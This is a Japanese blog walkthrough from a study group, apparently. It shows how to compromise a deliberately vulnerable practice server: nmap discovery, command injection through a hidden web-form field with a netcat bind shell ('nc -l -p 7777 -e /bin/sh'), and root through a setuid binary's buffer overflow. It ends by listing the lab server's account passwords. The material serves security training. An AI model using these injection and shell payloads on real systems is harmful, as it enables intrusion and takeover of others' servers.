« 【勉強会】自己紹介、ディスカッション | メイン | 【勉強会】サーバⅢのアクセス »

【勉強会】サーバⅡのアクセス

前提として、別記事「無線LANのWEPキーを求める」(http://www.ddhost.jp/lab/2013/05/lanwep.html)などにより、ターゲットサーバと同一セグメント上にアタッカが接続できているものとします。

ターゲットは、このページ最下部の【参考書】の付録に収録されているサーバⅡです。
また毎度のことですが、本記事はセキュリティ意識の向上を目的としています。悪用しないでください。

本記事で使用するファイルのサンプルを、下記URLに置いておきます。
必要に応じて参照してください。
https://docs.google.com/file/d/0BzDDoGziVgPZVWQ4UUl2M0xyTTQ/edit?usp=sharing



実践

アタッカ(BackTrack)が属しているNWセグメントを、BackTrackで「ifconfig」で確認します。
上記の例の場合、192.168.11.0/24 のセグメントであることがわかります。
NWセグメントは環境に依存するため、各々の環境に従い以下読み替えてください。

次に「nmap -n -sP 192.168.11.0/24」と入力し、同一セグメント内のホスト一覧を出します。
上記の図の場合、

 192.168.11.1 … ルータ
 192.168.11.2 … SONYのパソコン
 192.168.11.3 … ???
 192.168.11.4 … (BT自分自身)
 192.168.11.5 … ???

であることが想像できます。


試しに、「nmap 192.168.11.5」と入力し、192.168.11.5 のホストのポート解放状態を見てみます。
すると、httpとsshが空いているので、どうやらこれがサーバらしいと推定できます。



httpのポートが開いていることが分かったので、アクセスしてみます。
ブラウザでサーバへアクセスできる人はFirefox等で、CUIしか使用できない人は「w3m http://192.168.11.5」のように入力し、w3mブラウザでアクセスしてみます。
一般的な入力フォームを備えたページであることがわかります。

w3mブラウザでは、十字キーでカーソルを移動し、テキストボックス部分では「a」キーで文字入力できます。

「w3m http://192.168.11.5/index.htm」 のように、存在しないページへアクセスしようとすると、上図のように、Not Foundメッセージとともにサーバのバージョンがわかります。このバージョン情報をもとに、脆弱性を調べて攻撃する手法も一般的です。(今回は割愛します。)


ブラウザでサーバへアクセスできない人は、「wget http://192.168.11.5」と実行し、ページをダウンロードします。
「cat index.html」でhtmlのソースを見ると、victim.htmlへリンクされていて、入力フォームのパスはhttp://192.168.11.5/victim.htmlであることがわかります。

一方、ブラウザでサーバへアクセスできる方は、直接ソースの表示で確認することができます。

「wget http://192.168.11.5/victim.html」で、victim.htmlをダウンロードし、htmlソースを見てみます。
一般的な入力フォームですが、隠し(hidden)要素でmail_toという名前でartという値の文字が渡されています。

まだ断言はできませんが、このことから、このサーバではartというユーザがメールを受け取ることが推察され、artというユーザが登録されている可能性が推察されます。

次に、サーバに対しssh接続を試みます。初回接続時は、上図のように、サーバの公開鍵を信用するか聞かれますが、「yes」と入力します。

上図の場合、sshのパスワードがわからないのでログインはできませんが、鍵認証ではなくパスワード認証であることがわかります。
このことから、ブルートフォース攻撃も可能です。(今回は割愛します。)

先ほどダウンロードしたvictim.htmlは、victim.cgiへパラメータを渡していることがわかります。
また、mail_toで渡されたパラメータはmailコマンドなどでartユーザにメールされると推察されます。

そこで、ダウンロードしたローカルのvictim.htmlを書き換えてmail_toに自由な値を設定し、
サーバ上のvictim.cgiへパラメータを渡せるようにします。

上図のように、パラメータの接続先をhttp://192.168.11.5/cgi-bin/victim.cgi」に書き換えます。
また、mail_toのタイプをhiddenからtextに書き換えます。

「w3m victim.html」でローカルのvictim.htmlにアクセスします。

新しく見えるようになったテキストボックスにインジェクションします。
テキストボックスには、「art | nc -l -p 7777 -e /bin/sh」と入力し、Submitを選択します。
これにより、netcatが7777ポートで待ち受け状態となり、/bin/shが使用可能となります。
ページの読み込み中画面で固まりますが、この画面はこのまま閉じずに残しておいてください。

BackTrackで新しいターミナルから「nc 192.168.11.5 7777」と入力し、先ほど待ち受けたシェルにアクセスします。

プロンプト表示が無いので違和感がありますが、きちんとサーバ上でコマンドが処理できています。
ちなみに、httpd経由でcgiからインジェクションしているので、実行ユーザはwww-dataとなっています。
(「id」コマンドで確認してみてください。)

しかしまだ、root権限ではありません。

artユーザのホームディレクトリを覗いてみると、art.cというCプログラムのソースファイルがあるのがわかります。

「cat art.c」でソースを見てみると、read関数でchar cmdnumstr[2]に入力を受け取っていますが、文字列長の確認がされておらず、バッファオーバーフローの脆弱性があることがわかります。

「whreis art」で、コンパイル済みのバイナリが/usr/local/bin/artにあることがわかります。

「ls -l /usr/local/bin/art」で、artの所有者がrootであり、さらにパーミッションが「rwsr-xr-x 」であることがわかります。
このことから、この/usr/local/bin/artは、一般ユーザが呼び出しても、root権限で実行されます。

試しに、「art」でコマンドを実行してみます。
すると、プログラムが数字の入力を要求してくるので、「0」を入力するとファイルリスト、
「1」を入力するとプロセスリストが表示され、プログラムが終了します。

再び「art」でコマンドを実行します。今回は、数字の代わりに「03/bin/sh」と入力します。
すると、3文字目以降がバッファオーバーフローとなり、/bin/shがroot権限で実行されました。

この状態で「id」を入力すると、root権限であることがわかり、root権限を取得できたことがわかります。
当然、サーバのシャットダウン等もできてしまいます。


【ターゲットサーバのアカウント】

念のため、勉強会時のサーバのアカウントを書いておきます。
ターゲットサーバ上でIPアドレスやネットワークへの疎通性を確認する際に使用してください。
以下いずれかの組み合わせでログインできます。

ユーザパスワード
rootroot
rootrootpass3
artart
artnick




トラックバック

このエントリーのトラックバックURL:
http://www.ddhost.jp/mt/mt-tb.cgi/738

About

2013年05月19日 17:05に投稿されたエントリーのページです。

ひとつ前の投稿は「【勉強会】自己紹介、ディスカッション」です。

次の投稿は「【勉強会】サーバⅢのアクセス」です。

他にも多くのエントリーがあります。メインページアーカイブページも見てください。